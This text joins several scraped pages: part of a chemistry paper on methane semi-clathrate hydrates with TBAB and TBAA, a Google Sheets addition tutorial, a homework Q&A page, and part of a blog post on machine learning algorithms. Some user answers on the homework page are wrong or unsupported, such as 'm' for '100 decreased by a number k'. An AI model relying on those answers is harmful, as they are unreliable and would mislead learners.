parameter\n\nP: Pressure\n\nΔV: The molar volume differences\n\nR: Universal gas constant\n\naw: Activity of water\n\nxsalt: Mole fraction of salt in the aqueous phase\n\nk1, k2: Tuning parameters\n\nPc: Critical pressure\n\nTc: Critical temperature\n\nZc: Compressibility factor\n\nω: Acentric factor\n\nAAD: Average Absolute Deviations\n\nAARD: Average Absolute Relative Deviations\n\nTExp: Experimental temperature\n\nTCal: Calculated temperature\n\nPExp: Experimental pressure\n\nPCal: Calculated pressure\n\nΔTinc: The average increase in the hydrate dissociation temperature in the presence of thermodynamic promoter\n\n## 1 Introduction\n\nPursuant to the U.S. Energy Information Administration report, Natural Gas (NG) emits less carbon dioxide than oil and coal. Therefore, NG can be used as a clean fuel . It is also a primary feed in many industrial plants and plays a vital role in energy supply with increasing the population and global demand. NG has received more attention and has been developed in recent decades more than other fossil fuels. Unlike other fossil fuels, the emanation of oxides of sulfur, carbon, and nitrogen by NG is negligible so that NG reduces environmental pollution. Storage and transportation of NG have several challenges with respect to crude oil and multiple methods are utilized for transport and storage of NG for example pipelines, Liquefied Natural Gas (LNG), Compressed Natural Gas (CNG), and clathrate/gas hydrates [2, 3].\n\nAlthough the clathrate hydrate formation in the gas pipelines can lead to some drawbacks, the formation of clathrate hydrates can also present a variety of potential applications. One of the most important and practical applications of clathrate hydrates is the storage and transportation of NG . Clathrate hydrates are solid crystalline mixtures that appear in the presence of water molecules connecting through hydrogen bonds and guest molecules (gas and/or some volatile liquid molecules) in desirable pressure/temperature circumstances . Heretofore, three typical structures of clathrate hydrates have been well studied. However, in the presence of some quaternary ammonium salts, an unusual structure called semi-clathrate hydrate can be formed . Semi-clathrate hydrates are analogous to clathrate hydrates in most of the structure and physical properties, but unlike clathrate hydrates, in semi-clathrate hydrates, both water and anion contribute to lattice formation while the cation occupies the large cavities . The aforementioned quaternary ammonium salts are well-known as Thermodynamic Hydrate Promoters (THPs) (in a specific range of the quaternary ammonium salt concentration in the aqueous phase) which are capable of diminishing the hydrate phase equilibrium pressures. TetraButylAmmonium (TBA+) salts with distinct anions like (Br, Cl, F, and P) can be considered as the most distinguished and leading THPs [9, 1215].\n\nBased on the aforementioned explanations, tetrabutylammonium halides can form semi-clathrate hydrates. From a molecular point of view, water molecules and anions take part in the formation of the crystalline hydrate framework in which the tiny guest molecules such as, CH4, CO2, etc., settle in the small cavities while salt cation fills the large cavities [10, 13]. Therefore, in semi-clathrate hydrates of TBAB, TBA+, locates at the center of large cavities while the halide anion, Br plays as an alternative of a pair of water molecules in a crystal framework by forming hydrogen bonds with adjacent water molecules . Diverse structures exist for TBAB semi-clathrate hydrate owning several hydration numbers. Nevertheless, two basic types of structure for TBAB hydrate have been proposed with hydration numbers of 26 and 38, referred to as types A and B of semi-clathrate hydrates, respectively [9, 12, 1921]. Types A and B of semi-clathrate hydrates are functions of the salt concentration in the aqueous phase and result in different semi-clathrate hydrates phase equilibrium conditions [10, 22].\n\nIn recent years, plentiful data for the methane + TBAB + water system have been reported. Li et al. measured the hydrate phase equilibrium data (hydrate dissociation conditions data or hydrate phase stability conditions data) for CH4 + TBAB + H2O system. They observed that the hydrate stability conditions are shifted to low pressures and high temperatures in the presence of TBAB. Arjmandi et al. measured hydrate phase equilibrium data for some gases + TBAB + water. Sun and Sun investigated the methane semi-clathrate hydrate phase stability conditions for various mass fractions of TBAB. Their data demonstrates that TBAB diminishes the phase equilibrium pressure of methane hydrate. Mohammadi and Richon experimentally determined phase equilibrium data of semi-clathrate hydrates of CH4/H2S + TBAB + water. Gholinezhad et al. analyzed the impact of 40.7 wt.% of TBAB on methane semi-clathrate hydrate phase stability conditions. They concluded that this concentration leads to the most stable semi-clathrate hydrate in the three-phase equilibrium conditions. Lee et al. performed the measurements of the hydrate phase equilibrium data of CH4/CO2 + TBAB + H2O systems. They indicated that the 3.7 mole% of TBAB leads to the highest stability of semi-clathrate hydrate. Mohammadi et al. measured the semi-clathrate hydrate phase stability conditions of some gases in the presence of various mass fractions of TBAB. Liao et al. explicated the impact of TBAB on the semi-clathrate hydrates of some gases and employed the Chen–Guo model [30, 31] to predict their experimental data. Roosta et al. perused the efficiencies of some promoters on the methane hydrate formation kinetics. Sangwai and Oellrich studied the impacts of TBAB and TBAB + NaCl on methane hydrate formation. Mech et al. assayed the effects of some inhibitors on the methane hydrate formation in the existence of TBAB and TetraHydroFuran (THF). Najibi et al. investigated methane semi-clathrate hydrate phase stability conditions in the presence of TBAB. Also, they utilized the van der Waals–Platteeuw (vdW–P) model to correlate the experimental data. Verrett et al. conducted the phase equilibrium data of CH4 and CO2 hydrates in the presence of TBAB. Also, they presented a thermodynamic model to predict their data. Long et al. measured the hydrate phase stability conditions of CH4/CO2 + TBAB + water systems in the P and T ranges of 0.54–14.57 MPa and 273.6–294.2 K, respectively. Alongside the experimental studies, various thermodynamic modeling studies on gas + ammonium-based salts + water systems have been presented .\n\nThe aim of this work was to study the phase equilibrium conditions of semi-clathrate hydrates for methane + TBAB and TetraButylAmmonium Acetate (TBAA) + water systems. TBAB that is the most extensively used ammonium salt is considered as THP. Methane semi-clathrate hydrate equilibrium conditions in the presence of three distinct TBAB mass fractions of 0.0350, 0.0490, and 0.1500 were experimentally measured. Furthermore, the impact of another ammonium salt (TBAA) on methane semi-clathrate hydrate phase equilibrium conditions at the mass fraction of 0.0990 was experimentally investigated. Finally, the modified Chen–Guo model was employed to correlate the phase equilibrium data of methane semi-clathrate hydrates in the presence of TBAB and TBAA.\n\n## 2 Experimental section\n\nThe suppliers’ names and information of the materials used in this study are reported in Table 1.\n\nTable 1\n\nInformation and suppliers’ names of materials used in this work.\n\nThe double-distilled water was made in the laboratory of the Shiraz University of Technology using the water purification system (M-UV-3, Zolalan Company, Iran). All the aqueous solutions were prepared using the gravimetric method via a digital A&D balance (HR-200) with a maximum uncertainty of ±0.0001 g.\n\nIn this work, all the experimental measurements were conducted in the Stainless Steel (SS-316) cell. This vessel has an effective volume of 75 cubic centimeters and can be pressurized up to 15 MPa. A magnetic stirrer is tasked with making effective agitation of the mixture at a rate of 1000 rpm. The temperature of the cell is controlled by immersing it within a programmable ethanol cooling bath and circulator (Julabo FP-50, TCS-1). This smart temperature controller is able to decrease the cell temperature at a slow rate or step by step. A PT-100 thermometer with a maximum uncertainty of ± 0.1 K measures the cell temperature. The cell pressure is measured using a P-2 transmitter (ABB) with an uncertainty of ±0.01 MPa. A Data Acquisition System (DAS) is applied for gathering data of the system and converting analog waveforms into digital values for processing. Figure 1 presents a schematic diagram of the instruments.", null, "Fig. 1 A schematic diagram of the setup. R, Regulator; V, Valve; P, Pressure; PT, Pressure Transducer; PC, Personal Computer; TT, Temperature Transmitter; TB, Thermostatic Bath; C, Cell; GI, Gas In; GO, Gas Out; DAS, Data Acquisition System; VP, Vacuum Pump.\n\nIn the first instance, the cell was rinsed with double-distilled water and dried entirely. Twenty cubic centimeters of the aqueous solutions of TBAB or TBAA were prepared and introduced into the cell, it was then evacuated. Thereupon, the cell was pressurized with the methane gas to reach the required pressure. The isochoric pressure search method was employed to measure the semi-clathrate hydrate phase equilibrium conditions. Initially, the pressure was adjusted to the pressure higher than the equilibrium pressure required for the semi-clathrate hydrate dissociation. The system temperature was then decreased by a slow rate until the point at which the semi-clathrate hydrate was formed totally. Then, the system temperature was increased at an extremely slow rate (0.1 K·h−1) until the last particle of hydrate dissociated. The point at which the last particle of the crystal vanished and the slope of the PT curve changed was considered as the semi-clathrate hydrate dissociation point .\n\n## 3 Thermodynamic model\n\nIn this study, the extended Chen–Guo model proposed by Joshi et al. was used to compute the semi-clathrate hydrate phase equilibrium conditions of methane + TBAB + water and methane + TBAA + water systems. In the original Chen–Guo model [30, 31], a simple reaction represents the hydrate formation mechanism [30, 31, 40]:", null, "(1)\n\nIn equation (1), G is the guest (here gas) molecule, and λ2 represents the ratio of the number of guest molecules to the number of water molecules. The basis of the phase equilibrium conditions is the equality of the fugacity [30, 31, 40]:", null, "(2)\n\nIn equation (2), f defines the gas phase fugacity and f0 represents the fugacity of the gas molecules in equilibrium with an unoccupied basic hydrate. α is a dimensionless factor that is given as follows [30, 31, 40]:", null, "(3)\n\nIn equation (3), λ1 describes the ratio of the number of linked cavities to the number of water molecules. Semi-clathrate hydrates may form two different structures, types A and B, as mentioned earlier. Based on quaternary ammonium salt concentration, if the salt content is below 0.1800 mass fraction, type B has a higher melting point and is stable, otherwise type A can form . Table 2 indicates the structural specifications of types A and B of semi-clathrate hydrates :\n\nTable 2\n\nThe structural specifications of types A and B for a unit cell .\n\nθ stands for the fractional occupancy of cavities [30, 31, 40]:", null, "(4)\n\nThe filling of the hydrate cavities by the guest molecules is simulated as adsorption of the guest molecules on the solid surfaces that is described by the Langmuir ideal adsorption theory . In equation (4), C is the Langmuir constant that can be computed for each guest molecule through an appropriate potential function or semi-empirical correlations. In this work, C was calculated by the following semi-empirical Antoine-like correlation :", null, "(5)\n\nIn equation (5), X, Y, and Z are the Antoine constants, and T stands for the system absolute temperature.\n\nSince the vapor pressures of quaternary ammonium salts as a kind of Ionic Liquids (ILs) are very low compared to methane, therefore, it is assumed that only methane exists in the gas phase. The Peng–Robinson (PR) EoS is put into action to calculate the gas phase fugacity.\n\nIn equation (2), f0 is dependent on pressure, temperature, and water activity [30, 31, 40]:", null, "(6)where:", null, "(7)", null, "(8)", null, "(9)\n\nIn equation (7), A′, B′, and C′ are the constants that are specific for each guest molecule. The parameters required for the calculation of C using (Eq. (5)) and f0(T) using (Eq. (7)), as well as the critical properties and acentric factor for methane, are presented in Table 3 [45, 54].\n\nTable 3\n\nThe critical properties, acentric factor, and the parameters required in equations (5) and (7).\n\nIn equation (8), β is a structural parameter that can be defined as [30, 31, 40]:", null, "(10)\n\nIn equation (10), ΔV is the molar volume difference and R represents the universal gas constant. Since the anion of the quaternary ammonium salt contributes to the semi-clathrate structure, β has a different value for each concentration of quaternary ammonium salt. For TBAB, the values of β available in the literature were plotted against TBAB concentration and an appropriate curve was constructed that has the best fit to the data points. Figure 2 demonstrates the values of β against the TBAB concentration in the aqueous solution.", null, "Fig. 2 Reported values of the structural parameter (β) against TBAB mass fraction in the aqueous solution .\n\nConsequently, at each TBAB mass fraction, β can be calculated by interpolation or extrapolation of the points through the curve. For TBAA no data is available in the literature, therefore, for TBAA, β was optimized using the experimental dissociation conditions data of methane + TBAA semi-clathrate hydrate measured in this work. Table 4 indicates the values of β for the concentrations of TBAB and TBAA studied in this work.\n\nTable 4\n\nThe structural parameter (β) for TBAB and TBAA at various mass fractions.\n\nIn equation (9), aw denotes the water activity that can be calculated as follows [30, 31, 40]:", null, "(11)\n\nIn equation (11), aw represents the water activity in the aqueous solution, xsalt stands for the mole fraction of quaternary ammonium salt in the aqueous solution, T is the absolute temperature. k1 and k2 are the tuning parameters that are dependent on the concentration of quaternary ammonium salt that can be optimized using the following objective function:", null, "(12)\n\nFinally, by incorporating equations (2) and (6)(9), the following governing equation is gained [30, 31, 40]:", null, "(13)\n\nBy solving equation (13), the phase equilibrium condition of methane semi-clathrate hydrate is obtained. The flowchart of the model is presented in Figure 3.", null, "Fig. 3 Flowchart of the model used in this work.\n\n## 4 Results and discussion\n\nIn this study, the phase stability conditions of methane semi-clathrate with TBAB and TBAA were first experimentally measured. There exist several experimental data on phase equilibrium data of methane semi-clathrate + TBAB in the literature while no experimental data exists for methane semi-clathrate with TBAA, to the best of our knowledge. A total of 53 equilibrium data for methane semi-clathrate + ammonium salts containing 37 data for methane + TBAB and 16 data for methane + TBAA were measured. Three concentrations for TBAB containing 0.0350, 0.0490, and 0.1500 mass fractions and a mass fraction of 0.0990 for TBAA were used. Tables 5 and 6 display the methane semi-clathrate phase stability conditions in the presence of TBAB and TBAA aqueous solutions, respectively.\n\nTable 5\n\nExperimental data of methane semi-clathrate hydrate phase stability conditions in the presence of TBAB aqueous solutions.\n\nTable 6\n\nExperimental data of methane semi-clathrate hydrate phase stability conditions in the presence of TBAA aqueous solution.\n\nIt is clear that methane semi-clathrate hydrates in the presence of TBAB and TBAA are formed at milder conditions compared to pure methane hydrate (higher temperatures and lower pressures). The reason is due to fact that the cation of TBAB/TBAA (TetraButylAmmonium Acetate) occupies the large cavities leading to better stabilization of the semi-clathrate structure. Moreover, TBAB and TBAA have an impact on water activity due to the interactions between the water and quaternary ammonium salt in the aqueous solution.\n\nTo check the precision of the experimental procedure and equipment, the experimental data of methane semi-clathrate hydrate phase stability conditions measured in this work were compared with the available experimental data in the literature. Figures 4 and 5 give a comparison between the experimental data reported in the literature and those for TBAB mass fractions of 0.0500 and 0.1500, respectively.", null, "Fig. 4 Methane semi-clathrate hydrate phase stability conditions data for 0.0500 mass fraction of TBAB in the aqueous solution.", null, "Fig. 5 Methane semi-clathrate hydrate phase stability conditions data for 0.1500 mass fraction of TBAB in the aqueous solution.\n\nIt is interpreted from Figures 4 and 5 that the experimental data measured in this work for the methane + TBAB + water system are in agreement with the experimental data reported in the literature. Therefore, we can trust the accuracy and precision of the procedure and equipment for the methane + water + TBAA system.\n\nTo calculate water activity in the presence of quaternary ammonium salts, a simple relation can be used (Eq. (11)). In equation (11), k1 and k2 are optimized using the experimental data for methane semi-clathrate hydrate phase stability conditions measured in this work. Table 7 indicates k1 and k2 values for TBAB and TBAA at each quaternary ammonium salt concentration in the aqueous phase.\n\nTable 7\n\nThe optimized constants for calculating the activity of water (Eq. (11)).\n\nFigures 6 and 7 compare the experimental data and modeling outputs for methane semi-clathrate hydrate phase stability conditions in the presence of pure water, TBAB, and TBAA aqueous solutions.", null, "Fig. 6 Comparison between the methane semi-clathrate hydrate phase stability conditions in the presence of pure water and TBAB aqueous solutions.", null, "Fig. 7 Comparison between the methane semi-clathrate hydrate phase stability conditions in the presence of pure water and TBAA aqueous solution.\n\nIt can be qualitatively concluded from Figures 6 and 7 that the applied model can accurately calculate the methane semi-clathrate hydrate phase stability conditions in the presence of diverse TBAB and TBAA aqueous solutions. To elucidate the aforementioned explanations quantitively, the errors of the model in calculating the methane semi-clathrate hydrate phase equilibrium conditions are presented that were calculated using the following equations:", null, "(14)", null, "(15)", null, "(16)", null, "(17)where ND represents number of data.\n\nTable 8 indicates the errors of the modified Chen–Guo model [30, 31] employed in this work to calculate methane semi-clathrate phase stability conditions in the presence of TBAB and TBAA.\n\nTable 8\n\nThe errors of the model in determining methane semi-clathrate phase stability conditions in the presence of TBAB and TBAA aqueous solutions.\n\nIt can be concluded from Table 8 that the modified Chen–Guo model [30, 31] can precisely correlate the methane semi-clathrate hydrate phase stability conditions. The (AAD)T and (AAD)P of the model are 0.1 K and 0.08 MPa, respectively.\n\nThe calculated water activity values for various TBAB and TBAA aqueous solutions were plotted against the temperature to indicate the impacts of temperature and quaternary ammonium salt concentration in the aqueous phase on water activity.\n\nIt can be seen from Figure 8 that 0.1500 mass fraction of TBAB in the aqueous solution increases water activity much more than the other aqueous solutions. This confirms the fact that the aqueous solution with a 0.1500 mass fraction of TBAB is capable of promoting the methane hydrate phase stability conditions much more than the other aqueous solutions. The results indicate that both TBAB and TBAA shift the methane hydrate stability conditions to higher temperature/lower pressure conditions and act as THP. Table 9 presents the average temperature shift by the applied quaternary ammonium salts at various concentrations.", null, "Fig. 8 The calculated values of water activity against temperature for various quaternary ammonium salts concentrations in the aqueous phase.\nTable 9\n\nThe comparison between the temperature increments of TBAB and TBAA at various mass fractions.\n\nTwo conclusions are gained from Table 9: the temperature increments for 0.0350, 0.0490, and 0.1500 mass fractions of TBAB are 7.7, 9.4, and 13.5 K, respectively. This value for 0.0990 mass fraction of TBAA is 6.2 K. Therefore, it is concluded that TBAB is a stronger thermodynamic promoter of methane hydrate compared to TBAA. Since TBAB and TBAA have different anions, they have different impacts on methane hydrate stability conditions. It has been proved that anion has a great impact on semi-clathrate hydrate phase equilibrium and by increasing the TBAB concentration, the temperature increment also increases . According to the references [55, 56], TetraButylAmmonium Fluoride (TBAF) is the best thermodynamic promoter than other ammonium salts and it can make a stronger hydrogen bond with water molecules. However, it has a strong toxic nature because of the presence of fluoride ion in TBAF. Also, as the size of the anion increases, this bond becomes weaker.\n\n## 5 Conclusion\n\nIn this work, 53 phase equilibrium data for semi-clathrate hydrates of methane + TBAB/TBAA aqueous solutions were experimentally measured. Three aqueous solutions of TBAB containing 0.0350, 0.0490, 0.1500 mass fractions, and one aqueous solution of TBAA containing 0.0990 mass fraction were used for this purpose. All the experimental measurements were performed using the isochoric pressure search method . Consistency between the results for 0.0490 and 0.1500 mass fractions of TBAB reported in this work and those reported by the other groups are observed. Furthermore, the modified Chen–Guo model [30, 31] was used to correlate the aforementioned semi-clathrate hydrates equilibrium conditions. Two parameters for TBAB (k1 and k2) and three parameters for TBAA (k1, k2, and β) were optimized using the experimental phase equilibrium data for the aforesaid semi-clathrate hydrates. The (AAD)T and (AAD)P of the model for all the 53 data points are 0.1 K and 0.08 MPa, respectively. Finally, by comparing the temperature shifts for each quaternary ammonium salt, it is concluded that TBAB is a stronger THP compared to TBAA.\n\n## Declaration of interests\n\nThe authors declare that they have no known competing financial interests or personal relationships that could have appeared to influence the work reported in this paper.\n\n## Acknowledgments\n\nSupport of this work by the Shiraz University of Technology is highly acknowledged.\n\n## All Tables\n\nTable 1\n\nInformation and suppliers’ names of materials used in this work.\n\nTable 2\n\nThe structural specifications of types A and B for a unit cell .\n\nTable 3\n\nThe critical properties, acentric factor, and the parameters required in equations (5) and (7).\n\nTable 4\n\nThe structural parameter (β) for TBAB and TBAA at various mass fractions.\n\nTable 5\n\nExperimental data of methane semi-clathrate hydrate phase stability conditions in the presence of TBAB aqueous solutions.\n\nTable 6\n\nExperimental data of methane semi-clathrate hydrate phase stability conditions in the presence of TBAA aqueous solution.\n\nTable 7\n\nThe optimized constants for calculating the activity of water (Eq. (11)).\n\nTable 8\n\nThe errors of the model in determining methane semi-clathrate phase stability conditions in the presence of TBAB and TBAA aqueous solutions.\n\nTable 9\n\nThe comparison between the temperature increments of TBAB and TBAA at various mass fractions.\n\n## All Figures", null, "Fig. 1 A schematic diagram of the setup. R, Regulator; V, Valve; P, Pressure; PT, Pressure Transducer; PC, Personal Computer; TT, Temperature Transmitter; TB, Thermostatic Bath; C, Cell; GI, Gas In; GO, Gas Out; DAS, Data Acquisition System; VP, Vacuum Pump. In the text", null, "Fig. 2 Reported values of the structural parameter (β) against TBAB mass fraction in the aqueous solution . In the text", null, "Fig. 3 Flowchart of the model used in this work. In the text", null, "Fig. 4 Methane semi-clathrate hydrate phase stability conditions data for 0.0500 mass fraction of TBAB in the aqueous solution. In the text", null, "Fig. 5 Methane semi-clathrate hydrate phase stability conditions data for 0.1500 mass fraction of TBAB in the aqueous solution. In the text", null, "Fig. 6 Comparison between the methane semi-clathrate hydrate phase stability conditions in the presence of pure water and TBAB aqueous solutions. In the text", null, "Fig. 7 Comparison between the methane semi-clathrate hydrate phase stability conditions in the presence of pure water and TBAA aqueous solution. In the text", null, "Fig. 8 The calculated values of water activity against temperature for various quaternary ammonium salts concentrations in the aqueous phase. In the text\n\nCurrent usage metrics show cumulative count of Article Views (full-text article views including HTML views, PDF and ePub downloads, according to the available data) and Abstracts Views on Vision4Press platform.\n\nData correspond to usage on the plateform after 2015. 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https://geeksinsider.com/how-to-add-numbers-in-google-sheets/
[ "", null, "# How to Add Numbers in Google Sheets", null, "You can perform many different mathematical operations in Google Sheets, including the addition of numbers. You can add numbers across columns or rows, or even numbers in different cells. Here’s how it’s done.\n\n## Add Numbers in a Single Cell\n\nYou can quickly add numbers in a single cell by using the `=#+#` formula. For example, if you wanted to get the sum of 2+2, you’d enter:\n\n`=2+2`", null, "Press Enter to return the result.", null, "That’s all there is to it!\n\n## Add the Numbers of a Single Column or Row Using the SUM Function\n\nYou can quickly get the sum of numbers in a single row or column by using the SUM function. Let’s say we want to get the sum of the numbers in cells A2 through A6. First, select the cell that you’d like to calculate the sum in, and enter this formula:\n\n`=SUM(A2:A6)`", null, "This function tells Google Sheets that you want to get the sum of the numbers from A2 through A6. Be sure to use a colon (`:`) between the cell numbers. If you use a dash (`-`) which is often used to describe “everything in between,” then Google Sheets will subtract the input cells instead.\n\nOnce you’ve entered the correct formula, press Enter and the result will appear.", null, "Similarly, you can add the numbers in a row by taking a similar approach. Let’s say that, instead of adding the numbers from Column A, we want to add the numbers in Row 2 (A2 through E2). Select the cell you want to calculate the sum in and then enter this formula:\n\n`=SUM(A2:E2)`", null, "Press Enter the display the results.", null, "## Add the Numbers of Multiple Columns or Rows Using the SUM Function\n\nYou don’t have to reenter the formula multiple times. If you want to quickly get the sum of multiple rows or columns, you can enter the formula once and then use the drag-and-drop method to quickly get the results.\n\nFirst, enter the SUM function in the cell to get the sum of the first row (or column). So, if you want to get the sum of cells A2 through C2, you’d enter:\n\n`=SUM(A2:C2)`", null, "Press Enter to get the result. Then, simply click the bottom-right corner of the cell and drag it down. Google Sheets will automatically update the SUM formula for each row (or column).\n\n## Add the Numbers of Different Cells Using the SUM Function\n\nYou can get the sum of numbers from cells in different columns and rows by simply replacing the colon (`:`) with a comma (`,`) in the SUM formula.\n\nFor example, if you want to get the sum of cells A2, B3, C5, and D4, you’d enter:\n\n`=SUM(A2,B3,C5,D4)`", null, "Press Enter to get the result.", null, "## Google Does the Hard Work For You\n\nIf you just need a quick answer and don’t really have time to enter a formula, Google understands. All you need to do is highlight the cells you want to get the sum for by clicking and dragging your cursor over them.", null, "", null, "" ]
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https://walkwithbud.com/solution/100-decreased-by-a-number-k-235
[ "", null, "admin", null, "# 100 decreased by a number k\n\n2 months ago\n\n## Solution 1", null, "Guest #5494070\n2 months ago\n\nm\n\nStep-by-step explanation:\n\nm\n\n## 📚 Related Questions\n\nQuestion\nThe length of diagonal of a square is 13√2 cm, then the length of its each side is'\nSolution 1\n\n13\n\nStep-by-step explanation:\n\n13root 2 squared is 338\n\n338/2=169\n\nroot 169 is 13\n\nSolution 2\n\n13 cm\n\nStep-by-step explanation:\n\nthe diagonal of a square bisects the right angles so you have a 45-45-90 triangle\n\nthis type of triangle has a ratio of sides according to the following:\n\n1 : 1 :", null, "where the legs are 1 and the hypotenuse is", null, "So, in this problem if the hypotenuse is 13", null, "then the legs are 13\n\nQuestion\n5) If the circumference of a circle measures 3cm, what is the area of the circle in terms of it? A)3/4cm2 B) 3/2cm2 C)9/4cm2 D)9/2cm2\nSolution 1\nIt’s d because that is the best one\nSolution 2\nThe answer to ur question is c) 9/4cm2\nQuestion\nThe sum of a number and three​\nSolution 1\n\nx+3\n\nStep-by-step explanation:\n\nit is an expression......\n\nSolution 2\nX+3 is the answer I believe. If the question asks for a specific variable, then use that instead of X.\nQuestion\nFactor z^3 - 5z^2 - 9z + 45 completely.\nSolution 1\n\n(z-5)(z+3)(z−3)\n\nStep-by-step explanation:\n\nGo to math 10 . com  (it's going to be your friend) but that's the answer. Just click factor\n\nQuestion\nSolve −2s < −10. Graph the solution.\nSolution 1\n\ns>5\n\nStep-by-step explanation:\n\nQuestion\nThe table shows the linear relationship between the height of a plant (in centimeters) and the time (in weeks) that the plant has been growing. Which statements are correct? Check all that apply. The rate of change is 4. The rate of change is 1. The rate of change is . The plant grows 4 cm in 1 week. The plant grows 1 cm in 4 weeks\nSolution 1\nFigure this out yet if not i can def help you !!!!\nQuestion\nF(x) = 3x2 - x Find f(10)\nSolution 1\n\n290\n\nStep-by-step explanation:\n\nQuestion\nSolve the following quadratic equation using the completing the square method. x² - 10x + 4 = 0\nSolution 1\n\nx is equal to 5 ± i√21\n\nStep-by-step explanation:\n\nx² -10x + 4 = 0\n\nx²- 10x -25 = -21\n\n(x - 5)² = -21\n\nx - 5 = √(-21)\n\nx = 5 ± √(-21)\n\nx = 5 ± i√21\n\nQuestion\niPhone 8 has a screen with an aspect ratio of 16:9, a diagonal length of 5.5, and 1080 by 1920 physical pixels. compute the dimensions of the screen and the pixels per inch. pleasehelp I don't understand\nSolution 1\n\nThis is all i got iPhone 8+ (2017) 736 × 414 1920 × 1080 16:9 3× 5.5″ 401 PPI\n\nStep-by-step explanation:\n\nQuestion\nA man and his three children spent $40 to attend a show. A second family of three children and their two parents spent$53 for the same show. The system of linear equations shown represents this situation, where x is the cost of an adult ticket and y is the cost of a child ticket. x+3y=40 2x+3y=53 How much will a family pay for 2 adult tickets and 4 child tickets?\nSolution 1\n\\$62\nAdults are 13 and kids are 9\n\n2647929\n842281\n748681\n586256\n406852\n368373\n348603\n324927\n199835\n130075\n112100\n106146\n77164\n23213\n22589\n19607\n17108\n13966\n10987\n3389" ]
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https://101blockchains.com/best-machine-learning-algorithms/
[ "The value of automation has changed the conventional perspectives about technology and its applications in our lives. Artificial intelligence and machine learning have provided a new definition of using technology to do our jobs. The advantages of the best machine learning algorithms are visible in their use cases around us. You must have noticed how computer applications could play chess and also perform surgeries through robotics.\n\nOn top of it, AI systems could become smarter on their own by learning from existing and new data. The interest of learners in machine learning has increased due to the growing popularity of machine learning and data science jobs. Machine learning is the ideal choice of technology not only in the financial services sector but also for education, healthcare, and retail.\n\nThe outline of machine learning algorithms examples would help you understand that machine learning algorithms learn from data. ML algorithms could improve with their experiences and don’t need human intervention in many cases. Therefore, the interest in machine learning algorithms has been growing as more candidates seek careers in machine learning. Let us find out the details of top ML algorithms in the following post.\n\nExcited to learn the fundamentals of AI applications in business? Enroll Now in AI For Business Course!\n\n## What are Machine Learning Algorithms?\n\nMachine learning does not present any complexities in understanding the term. The term indicates the ability of machines to learn without any explicit programming. It is an important sub-discipline of artificial intelligence, which relies on algorithms for detecting patterns in data alongside adjusting the program actions.\n\nBefore exploring an ML algorithms list with algorithms for beginners, it is important to reflect on the examples of ML algorithms. The news feed of Facebook offers one of the best examples of the use of machine learning. It uses statistical or predictive analytics to identify patterns in the data of users for customizing the user’s news feed.\n\nThe search for answers to “Which ML algorithms is best for beginners?” would also guide learners toward ML algorithm components. You can find three distinct components which determine the functionalities of ML algorithms. The components of ML algorithms include representation, evaluation, and optimization. Representation of data involves tools such as decision trees, regressions, neural networks, support vector machines, and other techniques.\n\nThe evaluation component in the working mechanisms for ML algorithms focuses on accuracy, squared error, probability, margin, and many other aspects. Machine learning algorithms also involve optimization, which defines the approaches for generating programs. The techniques for optimization of ML algorithms include constrained optimization, combinatorial optimization, and convex optimization.\n\nTake your first step towards learning about artificial intelligence through AI Flashcards\n\n### Variants of Machine Learning Algorithms\n\nPrior to learning about the popular machine learning algorithms, it is important to learn about the variants of ML algorithms. The outline of most popular machine learning algorithms would include supervised, unsupervised, and reinforcement learning algorithms. Each algorithm has different types of techniques and could serve unique functionalities. Here is an outline of the important types of ML algorithms.\n\n• #### Supervised Learning Algorithms\n\nSupervised learning algorithms work by using labeled training data for learning the mapping function to transform input variables into output variables. The algorithm takes input data alongside the related output labels, and the objective of the algorithm is the prediction of accurate labels. The most notable techniques in supervised learning include classification, regression, and ensemble learning.\n\nSupervised learning models qualify as the top machine learning algorithms with the advantages of their unique techniques. For example, classification can help in predicting the outcome when output variable is available in categories. On the other hand, regression helps in predicting the outcome with the output variable available as real values, such as weight of a person. Another notable approach for supervised learning is ensembling, which involves a combination of the predictions by multiple machine learning models.\n\n• #### Unsupervised Learning Algorithms\n\nUnsupervised learning algorithms work through an analysis of unlabeled data without any predefined output labels. The primary objective of such additions to the ML algorithms list revolves around discovering patterns, structures, or relationships in data.\n\nThe different types of unsupervised machine learning algorithms examples would point at association, dimensionality reduction, and clustering. Association helps in discovering the possibilities of co-occurrence of items in one collection and supports market-basket analysis. Clustering methods involve grouping samples in a way that objects in similar clusters are more related to each other.\n\nThe review of the best machine learning algorithms also draws attention to dimensionality reduction in unsupervised machine learning. Dimensionality reduction helps in reducing the number of variables in a dataset without compromising on transfer of important information. The common methods for dimensionality reduction include feature selection and feature extraction methods.\n\nWant to understand the importance of ethics in AI, ethical frameworks, principles, and challenges? Enroll Now in Ethics Of Artificial Intelligence (AI) Course!\n\n• #### Reinforcement Learning Algorithms\n\nReinforcement learning algorithms are another popular addition among answers to “Which ML algorithms is best for beginners?” due to their functionalities. It helps an agent in deciding the ideal course of action according to the existing state through learning behaviors that could earn better rewards.\n\nReinforcement algorithms help in learning the optimal actions according to trial and error mechanisms. Some of the common use cases of reinforcement learning algorithms include gaming, autonomous systems, and robotics. The dynamic approach in reinforcement learning is one of top reasons why it can serve as a powerful technique for solving complex decision-making tasks.\n\n• #### Semi-supervised Learning\n\nSemi-supervised learning is an advanced machine learning algorithm that helps in combining unlabeled and labeled data for training. The machine learning approach uses limited labeled data alongside larger collections of unlabeled data to improve learning process.\n\nUnlabeled data could offer additional information alongside context for enhancing the understanding and performance of the model. Semi-supervised learning is one of the top machine learning algorithms for acquiring labeled data without time-consuming and expensive processes. Semi-supervised learning techniques can be used for different tasks, such as anomaly detection, classification, and regression.\n\nExcited to learn about the fundamentals of Bard AI, its evolution, common tools, and business use cases? Enroll now in Google Bard AI Course!\n\n### Top Machine Learning Algorithms\n\nThe description of different types of machine learning algorithms provides a clear impression of the power of machine learning. At the same time, it is also important to review the most popular machine learning algorithms for choosing the ideal picks. Here are some of the popular ML algorithms for beginners in 2023.", null, "• #### Logistic Regression\n\nLogistic regression is one of the first examples of machine learning algorithms for beginners. It helps in estimation of discrete values from a collection of independent variables. In addition, logistic regression could work towards prediction of probability for an event through fitting data with a logit function.\n\nTherefore, logistic regression is also known as logit regression. Some of the recommended methods for improving logistic regression models include elimination of features and inclusion of interaction terms. Other techniques for improving logistic regression models include utilization of non-linear models and regularization of techniques.\n\n• #### Linear Regression\n\nLinear regression was developed for evaluation of the relationship between numerical variables in inputs and output. It became one of the top entries in an ML algorithms list for making relevant predictions according to linear regression equations. Linear regression can be represented in mathematics by a linear equation that combines a specific collection of input data for predicting the output value.\n\nLinear equations in this ML algorithm assign factors to every set of input values, and the factors are known as coefficients. The working of linear regression involves drawing 